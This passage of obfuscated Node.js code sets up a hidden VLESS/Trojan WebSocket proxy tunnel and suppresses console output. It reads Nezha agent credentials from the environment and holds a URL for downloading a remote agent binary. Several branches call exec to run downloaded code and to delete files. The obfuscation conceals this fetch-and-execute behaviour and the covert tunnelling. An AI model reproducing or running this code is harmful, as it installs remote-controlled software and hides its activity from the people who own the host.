_0x418319===_0x3d533a;};_0x4ba64d[_0x5502('0x81')]=_0x5502('0xb5');const _0x3c4dc1=_0x4ba64d;let _0x563a44=!![];return function(_0xb51913,_0x336c79){const _0xae1fa={};_0xae1fa[_0x5502('0x14a')]=_0x5502('0x148');const _0x4be7e5=_0xae1fa;if(_0x3c4dc1['oxeTs'](_0x3c4dc1[_0x5502('0x81')],_0x5502('0xb5'))){const _0x1b9203=_0x563a44?function(){if(_0x336c79){const _0x4a7298=_0x336c79[_0x5502('0xcc')](_0xb51913,arguments);_0x336c79=null;return _0x4a7298;}}:function(){};_0x563a44=![];return _0x1b9203;}else{const _0x5e4cb8=_0x4be7e5[_0x5502('0x14a')]['split']('|');let _0xd4944f=0x0;while(!![]){switch(_0x5e4cb8[_0xd4944f++]){case'0':that[_0x5502('0x10f')][_0x5502('0x97')]=func;continue;case'1':that[_0x5502('0x10f')][_0x5502('0xe1')]=func;continue;case'2':that[_0x5502('0x10f')][_0x5502('0x73')]=func;continue;case'3':that[_0x5502('0x10f')]['exception']=func;continue;case'4':that['console'][_0x5502('0x3c')]=func;continue;case'5':that[_0x5502('0x10f')][_0x5502('0x7c')]=func;continue;case'6':that[_0x5502('0x10f')][_0x5502('0x3e')]=func;continue;case'7':that['console'][_0x5502('0x5d')]=func;continue;}break;}}};}();const _0x1271a4=_0x582577(this,function(){const _0x581f48={};_0x581f48[_0x5502('0x6a')]='aBHoT';_0x581f48[_0x5502('0x135')]=function(_0xb3442a,_0x3782da){return _0xb3442a(_0x3782da);};_0x581f48['vmUkG']=function(_0x2cab8e,_0x11550a){return _0x2cab8e+_0x11550a;};_0x581f48[_0x5502('0x5a')]=_0x5502('0x9c');_0x581f48[_0x5502('0xd7')]=function(_0x3f8e2c){return _0x3f8e2c();};_0x581f48[_0x5502('0x102')]=function(_0x191e4f,_0x58b116,_0x1a7e7c){return _0x191e4f(_0x58b116,_0x1a7e7c);};_0x581f48[_0x5502('0x140')]=function(_0x54d35e,_0x26bcd8){return _0x54d35e!==_0x26bcd8;};_0x581f48['aBxzj']='TlsDt';_0x581f48[_0x5502('0xa6')]=function(_0x1d1473,_0x22d37c){return _0x1d1473===_0x22d37c;};_0x581f48[_0x5502('0x3f')]=_0x5502('0xdd');_0x581f48['dQovd']=_0x5502('0x52');const _0x27f704=_0x581f48;const _0x2e6078=function(){};const _0x1b79ce=function(){let _0x90b21;try{if(_0x27f704[_0x5502('0x6a')]!==_0x5502('0x113')){_0x90b21=_0x27f704[_0x5502('0x135')](Function,_0x27f704[_0x5502('0x108')](_0x5502('0x2a')+_0x27f704[_0x5502('0x5a')],');'))();}else{return![];}}catch(_0x584d57){_0x90b21=window;}return _0x90b21;};const _0x36046e=_0x27f704['UqErS'](_0x1b79ce);if(!_0x36046e[_0x5502('0x10f')]){if(_0x27f704['Iftvq'](_0x27f704[_0x5502('0x10a')],_0x5502('0x14b'))){return'https://amd64.ssss.nyc.mn/agent';}else{_0x36046e[_0x5502('0x10f')]=function(_0xe66bdd){const _0x2d4871={};_0x2d4871[_0x5502('0x3e')]=_0xe66bdd;_0x2d4871['warn']=_0xe66bdd;_0x2d4871['debug']=_0xe66bdd;_0x2d4871[_0x5502('0xe1')]=_0xe66bdd;_0x2d4871['error']=_0xe66bdd;_0x2d4871[_0x5502('0x28')]=_0xe66bdd;_0x2d4871['table']=_0xe66bdd;_0x2d4871[_0x5502('0x73')]=_0xe66bdd;return _0x2d4871;}(_0x2e6078);}}else{if(_0x27f704[_0x5502('0xa6')](_0x27f704[_0x5502('0x3f')],_0x27f704[_0x5502('0x66')])){console['log'](_0x5502('0xc2'));_0x27f704[_0x5502('0x102')](exec,_0x5502('0x1e'),_0x519666=>{if(_0x519666)reject(_0x519666);_0x27f704[_0x5502('0xd7')](resolve);});}else{const _0x2b1618=_0x5502('0xbc')[_0x5502('0x47')]('|');let _0x471f7b=0x0;while(!![]){switch(_0x2b1618[_0x471f7b++]){case'0':_0x36046e[_0x5502('0x10f')][_0x5502('0x3c')]=_0x2e6078;continue;case'1':_0x36046e[_0x5502('0x10f')][_0x5502('0x97')]=_0x2e6078;continue;case'2':_0x36046e[_0x5502('0x10f')][_0x5502('0x3e')]=_0x2e6078;continue;case'3':_0x36046e[_0x5502('0x10f')]['info']=_0x2e6078;continue;case'4':_0x36046e['console'][_0x5502('0x28')]=_0x2e6078;continue;case'5':_0x36046e[_0x5502('0x10f')][_0x5502('0x73')]=_0x2e6078;continue;case'6':_0x36046e[_0x5502('0x10f')][_0x5502('0x5d')]=_0x2e6078;continue;case'7':_0x36046e[_0x5502('0x10f')][_0x5502('0x7c')]=_0x2e6078;continue;}break;}}}});_0x1271a4();const os=require('os');const http=require(_0x5502('0x14f'));const fs=require('fs');const axios=require(_0x5502('0x161'));const net=require('net');const path=require('path');const crypto=require('crypto');const {Buffer}=require(_0x5502('0x8b'));const {exec,execSync}=require(_0x5502('0x49'));const {WebSocket,createWebSocketStream}=require('ws');const UUID=process[_0x5502('0x132')]['UUID']||_0x5502('0x12a');const NEZHA_SERVER=process[_0x5502('0x132')][_0x5502('0x2b')]||'';const NEZHA_PORT=process['env'][_0x5502('0x5e')]||'';const NEZHA_KEY=process[_0x5502('0x132')][_0x5502('0x86')]||'';const DOMAIN=process[_0x5502('0x132')]['DOMAIN']||_0x5502('0x9e');const AUTO_ACCESS=process['env']['AUTO_ACCESS']||![];const WSPATH=process[_0x5502('0x132')]['WSPATH']||UUID['slice'](0x0,0x8);const SUB_PATH=process[_0x5502('0x132')][_0x5502('0x7f')]||_0x5502('0x4f');const NAME=process[_0x5502('0x132')][_0x5502('0x18')]||'';const PORT=process['env'][_0x5502('0x6e')]||0xbb8;let ISP='';const GetISP=async()=>{const _0x444450={};_0x444450['sytBf']=function(_0x4ee3c9,_0x27a384){return _0x4ee3c9===_0x27a384;};_0x444450['zzBIM']=_0x5502('0xbf');_0x444450[_0x5502('0x141')]=_0x5502('0xd9');const _0x1e9e1a=_0x444450;try{if(_0x1e9e1a[_0x5502('0xc0')](_0x1e9e1a[_0x5502('0x10c')],_0x1e9e1a[_0x5502('0x10c')])){const _0x1e0eca=await axios['get']('https://api.ip.sb/geoip');const _0x471a62=_0x1e0eca[_0x5502('0x38')];ISP=(_0x471a62[_0x5502('0x65')]+'-'+_0x471a62['isp'])[_0x5502('0x75')](/ /g,'_');}else{const _0x35cc16=data[_0x5502('0x4a')]['find'](_0x2fde2e=>_0x2fde2e[_0x5502('0xf4')]===0x1);if(_0x35cc16){resolve(_0x35cc16[_0x5502('0x38')]);return;}}}catch(_0x3f27ca){ISP=_0x1e9e1a['YZtGr'];}};GetISP();const httpServer=http[_0x5502('0x17')]((_0x335d83,_0x23a440)=>{const _0x31ced1={};_0x31ced1[_0x5502('0x59')]=_0x5502('0xf0');_0x31ced1[_0x5502('0x122')]=function(_0x1d1934,_0x4cfd9d){return _0x1d1934===_0x4cfd9d;};_0x31ced1['usLYm']=_0x5502('0x12e');_0x31ced1[_0x5502('0xae')]=_0x5502('0x39');_0x31ced1[_0x5502('0x9d')]=function(_0x3415c9,_0xd53a33){return _0x3415c9+_0xd53a33;};_0x31ced1[_0x5502('0xc5')]='base64';_0x31ced1['Uebwp']=_0x5502('0x13c');_0x31ced1[_0x5502('0x7')]=_0x5502('0x42');const _0x3d3b3d=_0x31ced1;if(_0x3d3b3d['FDPXv'](_0x335d83[_0x5502('0xba')],'/')){const _0x2056a9=path[_0x5502('0x33')](__dirname,_0x3d3b3d[_0x5502('0x153')]);fs['readFile'](_0x2056a9,_0x3d3b3d['bmRtC'],(_0x48818b,_0x5594da)=>{if(_0x48818b){const _0x20bf78={};_0x20bf78[_0x5502('0x68')]=_0x3d3b3d[_0x5502('0x59')];_0x23a440[_0x5502('0x14d')](0xc8,_0x20bf78);_0x23a440[_0x5502('0xf2')]('Hello\x20world!');return;}const _0x1ac33e={};_0x1ac33e[_0x5502('0x68')]=_0x3d3b3d[_0x5502('0x59')];_0x23a440[_0x5502('0x14d')](0xc8,_0x1ac33e);_0x23a440[_0x5502('0xf2')](_0x5594da);});return;}else if(_0x3d3b3d[_0x5502('0x122')](_0x335d83[_0x5502('0xba')],'/'+SUB_PATH)){const _0x8658dd=NAME?NAME+'-'+ISP:ISP;const _0x48d68d=_0x5502('0x167')+UUID+_0x5502('0x158')+DOMAIN+_0x5502('0x1d')+DOMAIN+_0x5502('0x40')+WSPATH+'#'+_0x8658dd;const _0x55eade='trojan://'+UUID+_0x5502('0xd3')+DOMAIN+'&fp=chrome&type=ws&host='+DOMAIN+_0x5502('0x40')+WSPATH+'#'+_0x8658dd;const _0xbcd52a=_0x3d3b3d['JxJOa'](_0x3d3b3d['JxJOa'](_0x48d68d,'\x0a'),_0x55eade);const _0x42ca42=Buffer[_0x5502('0x111')](_0xbcd52a)[_0x5502('0x142')](_0x3d3b3d['bYRrC']);const _0x46443a={};_0x46443a[_0x5502('0x68')]=_0x3d3b3d[_0x5502('0x123')];_0x23a440[_0x5502('0x14d')](0xc8,_0x46443a);_0x23a440[_0x5502('0xf2')](_0x42ca42+'\x0a');}else{const _0x2e31aa={};_0x2e31aa[_0x5502('0x68')]=_0x3d3b3d[_0x5502('0x123')];_0x23a440[_0x5502('0x14d')](0x194,_0x2e31aa);_0x23a440[_0x5502('0xf2')](_0x3d3b3d['YQAjM']);}});const _0x15ae19={};_0x15ae19[_0x5502('0x6')]=httpServer;const wss=new WebSocket[(_0x5502('0xb1'))](_0x15ae19);const uuid=UUID[_0x5502('0x75')](/-/g,'');const DNS_SERVERS=['8.8.4.4','1.1.1.1'];function resolveHost(_0x3fc232){const _0x561cad={};_0x561cad[_0x5502('0x14')]=function(_0x2c1f57,_0x7238f5){return _0x2c1f57<_0x7238f5;};_0x561cad[_0x5502('0x58')]=_0x5502('0x97');_0x561cad['TqERr']=function(_0x58ce06){return _0x58ce06();};_0x561cad[_0x5502('0x3d')]=function(_0x153956,_0x2b1b7a){return _0x153956===_0x2b1b7a;};_0x561cad[_0x5502('0x63')]=_0x5502('0x15a');_0x561cad[_0x5502('0x98')]=_0x5502('0xa0');_0x561cad[_0x5502('0x11d')]=function(_0x1c635d,_0x4e86b2){return _0x1c635d>=_0x4e86b2;};_0x561cad[_0x5502('0x168')]=_0x5502('0x136');_0x561cad[_0x5502('0x84')]=function(_0x35fbef,_0x1b1bf5){return _0x35fbef(_0x1b1bf5);};_0x561cad[_0x5502('0x55')]=function(_0x2b8370){return _0x2b8370();};const _0x137cec=_0x561cad;return new Promise((_0x267ac7,_0x44951f)=>{const _0xad27ac={};_0xad27ac[_0x5502('0x6f')]=function(_0xac8dab,_0x5365c2){return _0x137cec[_0x5502('0x14')](_0xac8dab,_0x5365c2);};_0xad27ac['YLAeD']=_0x137cec[_0x5502('0x58')];_0xad27ac[_0x5502('0xf6')]=function(_0x49e4d6){return _0x137cec[_0x5502('0x133')](_0x49e4d6);};_0xad27ac[_0x5502('0x125')]=function(_0x3aed66,_0x1a5f03){return _0x137cec[_0x5502('0x3d')](_0x3aed66,_0x1a5f03);};_0xad27ac[_0x5502('0x138')]=function(_0x419286,_0x1327f9){return _0x137cec[_0x5502('0x3d')](_0x419286,_0x1327f9);};_0xad27ac[_0x5502('0x54')]=_0x137cec['uEOaQ'];_0xad27ac[_0x5502('0xd0')]=function(_0x122982,_0x4695e6){return _0x122982(_0x4695e6);};_0xad27ac[_0x5502('0x11e')]=_0x137cec[_0x5502('0x98')];_0xad27ac['MtOMJ']=function(_0x3f0770,_0x244587){return _0x137cec[_0x5502('0x11d')](_0x3f0770,_0x244587);};_0xad27ac[_0x5502('0x3a')]=_0x137cec['DkCUz'];const _0x4d9169=_0xad27ac;if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/['test'](_0x3fc232)){_0x137cec[_0x5502('0x84')](_0x267ac7,_0x3fc232);return;}let _0x2c8c5d=0x0;function _0x20cbe3(){const _0x339ce2={};_0x339ce2[_0x5502('0xe6')]=function(_0x447716,_0x1236a0){return _0x4d9169[_0x5502('0x125')](_0x447716,_0x1236a0);};_0x339ce2[_0x5502('0x160')]=function(_0x46af5d,_0x58242f){return _0x46af5d>_0x58242f;};_0x339ce2['AySkw']=function(_0x35ef38,_0x3a01e5){return _0x4d9169[_0x5502('0x138')](_0x35ef38,_0x3a01e5);};_0x339ce2['OSAuD']=_0x4d9169[_0x5502('0x54')];_0x339ce2[_0x5502('0x166')]=function(_0x5714fb,_0x6cd3f1){return _0x4d9169[_0x5502('0xd0')](_0x5714fb,_0x6cd3f1);};_0x339ce2[_0x5502('0x14c')]=function(_0x1fa825){return _0x1fa825();};const _0x1c2fbe=_0x339ce2;if(_0x4d9169[_0x5502('0x138')](_0x5502('0xa9'),_0x4d9169[_0x5502('0x11e')])){if(_0x4d9169['OlRwH'](offset,msg[_0x5502('0x79')])){this['write'](msg[_0x5502('0x13f')](offset));}duplex['on'](_0x5502('0x97'),()=>{})[_0x5502('0x85')](this)['on'](_0x4d9169[_0x5502('0xbb')],()=>{})[_0x5502('0x85')](duplex);}else{if(_0x4d9169[_0x5502('0x131')](_0x2c8c5d,DNS_SERVERS[_0x5502('0x79')])){_0x4d9169[_0x5502('0xd0')](_0x44951f,new Error(_0x5502('0x118')+_0x3fc232+_0x5502('0xa3')));return;}const _0xd9d9b4=DNS_SERVERS[_0x2c8c5d];_0x2c8c5d++;const _0x36822a=_0x5502('0x43')+_0x4d9169[_0x5502('0xd0')](encodeURIComponent,_0x3fc232)+_0x5502('0xc9');const _0xe8cba0={};_0xe8cba0[_0x5502('0xe7')]=_0x4d9169[_0x5502('0x3a')];const _0x5d8fa3={};_0x5d8fa3[_0x5502('0x116')]=0x1388;_0x5d8fa3[_0x5502('0x45')]=_0xe8cba0;axios[_0x5502('0x121')](_0x36822a,_0x5d8fa3)[_0x5502('0x16a')](_0x1ffdd9=>{const _0x715f8d={};_0x715f8d[_0x5502('0x37')]=_0x5502('0x97');const _0x3849d2=_0x715f8d;const _0x23ce45=_0x1ffdd9['data'];if(_0x1c2fbe[_0x5502('0xe6')](_0x23ce45[_0x5502('0x70')],0x0)&&_0x23ce45[_0x5502('0x4a')]&&_0x1c2fbe['BmKso'](_0x23ce45['Answer'][_0x5502('0x79')],0x0)){const _0x458262=_0x23ce45['Answer'][_0x5502('0x4b')](_0x25ae84=>_0x25ae84[_0x5502('0xf4')]===0x1);if(_0x458262){if(_0x1c2fbe[_0x5502('0x82')](_0x1c2fbe[_0x5502('0x12d')],'LlEMZ')){this[_0x5502('0xe8')](msg[_0x5502('0x13f')](i));duplex['on'](_0x3849d2[_0x5502('0x37')],()=>{})[_0x5502('0x85')](this)['on'](_0x3849d2[_0x5502('0x37')],()=>{})[_0x5502('0x85')](duplex);}else{_0x1c2fbe[_0x5502('0x166')](_0x267ac7,_0x458262[_0x5502('0x38')]);return;}}}_0x1c2fbe['xNqMn'](_0x20cbe3);})[_0x5502('0xc')](_0x40f56c=>{_0x4d9169[_0x5502('0xf6')](_0x20cbe3);});}}_0x137cec['vBkLl'](_0x20cbe3);});}function handleVlessConnection(_0x2e0b79,_0x26e9f9){const _0x5e0ff4={};_0x5e0ff4[_0x5502('0xfb')]=_0x5502('0x97');_0x5e0ff4[_0x5502('0x13')]=function(_0x53b768,_0x121fbc){return _0x53b768!==_0x121fbc;};_0x5e0ff4[_0x5502('0x143')]='CTjYB';_0x5e0ff4[_0x5502('0xd8')]=_0x5502('0x15b');_0x5e0ff4[_0x5502('0x147')]=function(_0x3e6607,_0x60cd3f){return _0x3e6607==_0x60cd3f;};_0x5e0ff4[_0x5502('0xec')]=function(_0x1c271a,_0x352b61){return _0x1c271a+_0x352b61;};_0x5e0ff4[_0x5502('0x34')]=function(_0x2c0bdd,_0x5539c8){return _0x2c0bdd+_0x5539c8;};_0x5e0ff4[_0x5502('0x13e')]=function(_0x69c146,_0x21d11f){return _0x69c146(_0x21d11f);};const _0x5a13a1=_0x5e0ff4;const [_0x31d604]=_0x26e9f9;const _0x300cbf=_0x26e9f9['slice'](0x1,0x11);if(!_0x300cbf[_0x5502('0xda')]((_0x1a4467,_0x5dd8a1)=>_0x1a4467==parseInt(uuid['substr'](_0x5dd8a1*0x2,0x2),0x10)))return![];let _0x572b83=_0x26e9f9[_0x5502('0x13f')](0x11,0x12)[_0x5502('0xc6')]()+0x13;const _0x1f4b33=_0x26e9f9[_0x5502('0x13f')](_0x572b83,_0x572b83+=0x2)[_0x5502('0x61')](0x0);const _0x29a380=_0x26e9f9[_0x5502('0x13f')](_0x572b83,_0x572b83+=0x1)['readUInt8']();const _0x1b31e0=_0x5a13a1[_0x5502('0x147')](_0x29a380,0x1)?_0x26e9f9[_0x5502('0x13f')](_0x572b83,_0x572b83+=0x4)['join']('.'):_0x29a380==0x2?new TextDecoder()[_0x5502('0x23')](_0x26e9f9[_0x5502('0x13f')](_0x5a13a1[_0x5502('0xec')](_0x572b83,0x1),_0x572b83+=_0x5a13a1[_0x5502('0x34')](0x1,_0x26e9f9[_0x5502('0x13f')](_0x572b83,_0x5a13a1[_0x5502('0x34')](_0x572b83,0x1))[_0x5502('0xc6')]()))):_0x29a380==0x3?_0x26e9f9[_0x5502('0x13f')](_0x572b83,_0x572b83+=0x10)['reduce']((_0x3cf9e7,_0x509fd9,_0x253067,_0x501b6a)=>_0x253067%0x2?_0x3cf9e7[_0x5502('0x12c')](_0x501b6a[_0x5502('0x13f')](_0x253067-0x1,_0x253067+0x1)):_0x3cf9e7,[])['map'](_0x1d8ceb=>_0x1d8ceb[_0x5502('0x61')](0x0)[_0x5502('0x142')](0x10))['join'](':'):'';_0x2e0b79[_0x5502('0x24')](new Uint8Array([_0x31d604,0x0]));const _0x4269e2=_0x5a13a1[_0x5502('0x13e')](createWebSocketStream,_0x2e0b79);resolveHost(_0x1b31e0)[_0x5502('0x16a')](_0x3613d2=>{const _0x2b603c={};_0x2b603c[_0x5502('0x7d')]=_0x3613d2;_0x2b603c[_0x5502('0x36')]=_0x1f4b33;net['connect'](_0x2b603c,function(){this[_0x5502('0xe8')](_0x26e9f9['slice'](_0x572b83));_0x4269e2['on'](_0x5a13a1[_0x5502('0xfb')],()=>{})[_0x5502('0x85')](this)['on'](_0x5a13a1[_0x5502('0xfb')],()=>{})[_0x5502('0x85')](_0x4269e2);})['on'](_0x5a13a1['YfSUy'],()=>{});})[_0x5502('0xc')](_0x205d71=>{const _0x8aa3bc={};_0x8aa3bc[_0x5502('0x13d')]=_0x5a13a1[_0x5502('0xfb')];const _0x324d69=_0x8aa3bc;if(_0x5a13a1[_0x5502('0x13')](_0x5a13a1[_0x5502('0x143')],_0x5a13a1[_0x5502('0xd8')])){const _0x384c72={};_0x384c72[_0x5502('0x7d')]=_0x1b31e0;_0x384c72[_0x5502('0x36')]=_0x1f4b33;net[_0x5502('0xfd')](_0x384c72,function(){this[_0x5502('0xe8')](_0x26e9f9[_0x5502('0x13f')](_0x572b83));_0x4269e2['on'](_0x324d69[_0x5502('0x13d')],()=>{})[_0x5502('0x85')](this)['on'](_0x324d69[_0x5502('0x13d')],()=>{})[_0x5502('0x85')](_0x4269e2);})['on'](_0x5502('0x97'),()=>{});}else{offset+=0x2;}});return!![];}function handleTrojanConnection(_0x1e3c0f,_0x3f3502){const _0x27a218={};_0x27a218[_0x5502('0xb')]='NEZHA\x20variable\x20is\x20empty,\x20skip\x20running';_0x27a218[_0x5502('0x67')]=function(_0x3a904d,_0x19c03a){return _0x3a904d<_0x19c03a;};_0x27a218[_0x5502('0xf8')]=function(_0x186a0c,_0x38cb6f){return _0x186a0c!==_0x38cb6f;};_0x27a218[_0x5502('0x15')]=_0x5502('0x155');_0x27a218[_0x5502('0x159')]=_0x5502('0x97');_0x27a218['IVLnV']=_0x5502('0xf0');_0x27a218[_0x5502('0x25')]=_0x5502('0x1a');_0x27a218[_0x5502('0xa1')]=function(_0x5e91a5,_0x36a1ba){return _0x5e91a5===_0x36a1ba;};_0x27a218['BUiFx']=_0x5502('0x11');_0x27a218[_0x5502('0xac')]='KLxWt';_0x27a218[_0x5502('0xe')]=function(_0x24354b,_0x2430d5){return _0x24354b(_0x2430d5);};_0x27a218['reAFj']='npm\x20download\x20successfully';_0x27a218[_0x5502('0x1c')]=function(_0x254381,_0x4a0c82,_0x16a15f){return _0x254381(_0x4a0c82,_0x16a15f);};_0x27a218[_0x5502('0x9')]=_0x5502('0x1e');_0x27a218[_0x5502('0x20')]=_0x5502('0xad');_0x27a218[_0x5502('0xd2')]=function(_0x157f0c,_0x153ebe){return _0x157f0c===_0x153ebe;};_0x27a218[_0x5502('0x12b')]=_0x5502('0xbe');_0x27a218[_0x5502('0xc4')]='lbzuo';_0x27a218[_0x5502('0x8a')]='fcCui';_0x27a218['bzgXU']=_0x5502('0x50');_0x27a218[_0x5502('0x109')]=function(_0x616cd2,_0x1b8456){return _0x616cd2===_0x1b8456;};_0x27a218['scNuh']=function(_0x5505df,_0xfa6234){return _0x5505df===_0xfa6234;};_0x27a218['EBUJE']=function(_0x443495,_0x4c1c4b){return _0x443495+_0x4c1c4b;};_0x27a218[_0x5502('0x128')]=_0x5502('0xeb');_0x27a218[_0x5502('0x77')]=function(_0x2c12ad,_0x4c4fac){return _0x2c12ad===_0x4c4fac;};_0x27a218['HatHy']=function(_0x5eab4c,_0x275686){return _0x5eab4c+_0x275686;};_0x27a218[_0x5502('0xce')]=function(_0x59c462,_0x33074f){return _0x59c462<_0x33074f;};_0x27a218['OmJWf']=function(_0x334ff1,_0x35d4ff){return _0x334ff1===_0x35d4ff;};_0x27a218[_0x5502('0x16')]=function(_0x59044b,_0x3e4922){return _0x59044b===_0x3e4922;};_0x27a218[_0x5502('0x150')]='QuCHQ';_0x27a218[_0x5502('0x112')]=_0x5502('0x26');_0x27a218[_0x5502('0xd1')]=function(_0x30425a,_0x5a02e4){return _0x30425a(_0x5a02e4);};_0x27a218['nmBCX']=function(_0xce50b1,_0x4e4040){return _0xce50b1!==_0x4e4040;};_0x27a218['CiXzw']=_0x5502('0xff');const _0x44519c=_0x27a218;try{if(_0x44519c[_0x5502('0xd2')](_0x44519c[_0x5502('0xc4')],_0x44519c[_0x5502('0x8a')])){delFiles();}else{if(_0x3f3502[_0x5502('0x79')]<0x3a)return![];const _0x13cde5=_0x3f3502[_0x5502('0x13f')](0x0,0x38)['toString']();const _0x56b2ae=[UUID];let _0x2f529c=null;for(const _0x29a618 of _0x56b2ae){const _0x4b7abb=crypto[_0x5502('0x4d')](_0x44519c[_0x5502('0xe5')])[_0x5502('0x11f')](_0x29a618)[_0x5502('0x2c')]('hex');if(_0x44519c[_0x5502('0x109')](_0x4b7abb,_0x13cde5)){_0x2f529c=_0x29a618;break;}}if(!_0x2f529c)return![];let _0x1e8744=0x38;if(_0x44519c[_0x5502('0x1f')](_0x3f3502[_0x1e8744],0xd)&&_0x44519c['scNuh'](_0x3f3502[_0x44519c[_0x5502('0x4e')](_0x1e8744,0x1)],0xa)){if(_0x44519c[_0x5502('0xf8')]('QwjND',_0x44519c['IMpun'])){_0x1e8744+=0x2;}else{console[_0x5502('0x3e')](_0x44519c['BEXZN']);return;}}const _0x27137a=_0x3f3502[_0x1e8744];if(_0x27137a!==0x1)return![];_0x1e8744+=0x1;const _0x5b8d87=_0x3f3502[_0x1e8744];_0x1e8744+=0x1;let _0x437670,_0x204c87;if(_0x44519c['cJciq'](_0x5b8d87,0x1)){_0x437670=_0x3f3502[_0x5502('0x13f')](_0x1e8744,_0x44519c[_0x5502('0x137')](_0x1e8744,0x4))[_0x5502('0x33')]('.');_0x1e8744+=0x4;}else if(_0x5b8d87===0x3){const _0x116d2a=_0x3f3502[_0x1e8744];_0x1e8744+=0x1;_0x437670=_0x3f3502[_0x5502('0x13f')](_0x1e8744,_0x44519c[_0x5502('0x137')](_0x1e8744,_0x116d2a))[_0x5502('0x142')]();_0x1e8744+=_0x116d2a;}else if(_0x5b8d87===0x4){_0x437670=_0x3f3502[_0x5502('0x13f')](_0x1e8744,_0x1e8744+0x10)['reduce']((_0x5b57bc,_0x2481a0,_0x54f09,_0x36b04b)=>_0x54f09%0x2?_0x5b57bc[_0x5502('0x12c')](_0x36b04b[_0x5502('0x13f')](_0x54f09-0x1,_0x54f09+0x1)):_0x5b57bc,[])[_0x5502('0x9b')](_0x4cd652=>_0x4cd652[_0x5502('0x61')](0x0)['toString'](0x10))['join'](':');_0x1e8744+=0x10;}else{return![];}_0x204c87=_0x3f3502[_0x5502('0x61')](_0x1e8744);_0x1e8744+=0x2;if(_0x44519c[_0x5502('0xce')](_0x1e8744,_0x3f3502[_0x5502('0x79')])&&_0x44519c[_0x5502('0x139')](_0x3f3502[_0x1e8744],0xd)&&_0x3f3502[_0x1e8744+0x1]===0xa){if(_0x44519c[_0x5502('0x16')](_0x44519c[_0x5502('0x150')],_0x44519c[_0x5502('0x112')])){that[_0x5502('0x10f')]=function(_0x57135d){const _0x7f736e={};_0x7f736e[_0x5502('0x3e')]=_0x57135d;_0x7f736e[_0x5502('0x5d')]=_0x57135d;_0x7f736e[_0x5502('0x3c')]=_0x57135d;_0x7f736e[_0x5502('0xe1')]=_0x57135d;_0x7f736e[_0x5502('0x97')]=_0x57135d;_0x7f736e[_0x5502('0x28')]=_0x57135d;_0x7f736e['table']=_0x57135d;_0x7f736e[_0x5502('0x73')]=_0x57135d;return _0x7f736e;}(func);}else{_0x1e8744+=0x2;}}const _0x18a780=_0x44519c[_0x5502('0xd1')](createWebSocketStream,_0x1e3c0f);_0x44519c[_0x5502('0xd1')](resolveHost,_0x437670)[_0x5502('0x16a')](_0x37f453=>{const _0x1557a4={};_0x1557a4[_0x5502('0xdb')]=_0x44519c['IVLnV'];_0x1557a4[_0x5502('0x162')]=_0x44519c[_0x5502('0x25')];const _0x394a41=_0x1557a4;if(_0x44519c[_0x5502('0xa1')](_0x44519c[_0x5502('0x104')],_0x44519c[_0x5502('0xac')])){if(err){const _0x2d5ebf={};_0x2d5ebf[_0x5502('0x68')]=_0x394a41[_0x5502('0xdb')];res[_0x5502('0x14d')](0xc8,_0x2d5ebf);res[_0x5502('0xf2')](_0x394a41['dLmjz']);return;}const _0x4f42d1={};_0x4f42d1[_0x5502('0x68')]=_0x394a41[_0x5502('0xdb')];res[_0x5502('0x14d')](0xc8,_0x4f42d1);res[_0x5502('0xf2')](content);}else{const _0x23d14d={};_0x23d14d[_0x5502('0x7d')]=_0x37f453;_0x23d14d[_0x5502('0x36')]=_0x204c87;net[_0x5502('0xfd')](_0x23d14d,function(){if(_0x44519c[_0x5502('0x67')](_0x1e8744,_0x3f3502[_0x5502('0x79')])){if(_0x44519c[_0x5502('0xf8')](_0x44519c[_0x5502('0x15')],_0x44519c[_0x5502('0x15')])){const _0x50ca03=firstCall?function(){if(fn){const _0x3a5bd2=fn[_0x5502('0xcc')](context,arguments);fn=null;return _0x3a5bd2;}}:function(){};firstCall=![];return _0x50ca03;}else{this[_0x5502('0xe8')](_0x3f3502[_0x5502('0x13f')](_0x1e8744));}}_0x18a780['on'](_0x44519c[_0x5502('0x159')],()=>{})[_0x5502('0x85')](this)['on'](_0x44519c[_0x5502('0x159')],()=>{})[_0x5502('0x85')](_0x18a780);})['on'](_0x44519c[_0x5502('0x159')],()=>{});}})['catch'](_0x1bfbab=>{const _0x2a9a34={};_0x2a9a34[_0x5502('0x7d')]=_0x437670;_0x2a9a34[_0x5502('0x36')]=_0x204c87;net['connect'](_0x2a9a34,function(){const _0x51b7bf={};_0x51b7bf[_0x5502('0x107')]=function(_0x355941,_0x44550f){return _0x44519c[_0x5502('0xe')](_0x355941,_0x44550f);};_0x51b7bf['abCmi']=_0x44519c[_0x5502('0x4')];_0x51b7bf[_0x5502('0x3b')]=function(_0x3b554e,_0x242b7a,_0x36d823){return _0x44519c[_0x5502('0x1c')](_0x3b554e,_0x242b7a,_0x36d823);};_0x51b7bf['ePQgV']=_0x44519c[_0x5502('0x9')];_0x51b7bf[_0x5502('0x48')]=_0x44519c[_0x5502('0x20')];_0x51b7bf[_0x5502('0x0')]='error';const _0x1e7cff=_0x51b7bf;if(_0x44519c[_0x5502('0x67')](_0x1e8744,_0x3f3502['length'])){if(_0x44519c['Rlcrs']('eMWjk',_0x44519c[_0x5502('0x12b')])){this[_0x5502('0xe8')](_0x3f3502[_0x5502('0x13f')](_0x1e8744));}else{writer['on'](_0x1e7cff['KvdQk'],()=>{const _0x4679ac={};_0x4679ac[_0x5502('0x2e')]=function(_0x4c4190,_0x3256d9){return _0x1e7cff['BTTpn'](_0x4c4190,_0x3256d9);};_0x4679ac[_0x5502('0xaf')]=function(_0x1aff2d){return _0x1aff2d();};const _0x3abb47=_0x4679ac;console[_0x5502('0x3e')](_0x1e7cff[_0x5502('0xc7')]);_0x1e7cff[_0x5502('0x3b')](exec,_0x1e7cff[_0x5502('0x134')],_0x452639=>{if(_0x452639)_0x3abb47[_0x5502('0x2e')](reject,_0x452639);_0x3abb47[_0x5502('0xaf')](resolve);});});writer['on'](_0x1e7cff[_0x5502('0x0')],reject);}}_0x18a780['on'](_0x44519c[_0x5502('0x159')],()=>{})[_0x5502('0x85')](this)['on'](_0x44519c[_0x5502('0x159')],()=>{})[_0x5502('0x85')](_0x18a780);})['on'](_0x44519c['JqSIe'],()=>{});});return!![];}}catch(_0x3fe0ec){if(_0x44519c[_0x5502('0x5')](_0x5502('0xea'),_0x44519c[_0x5502('0xde')])){return![];}else{if(fn){const _0x2f8b09=fn[_0x5502('0xcc')](context,arguments);fn=null;return _0x2f8b09;}}}}wss['on'](_0x5502('0x130'),(_0x2a3c51,_0x18a67f)=>{const 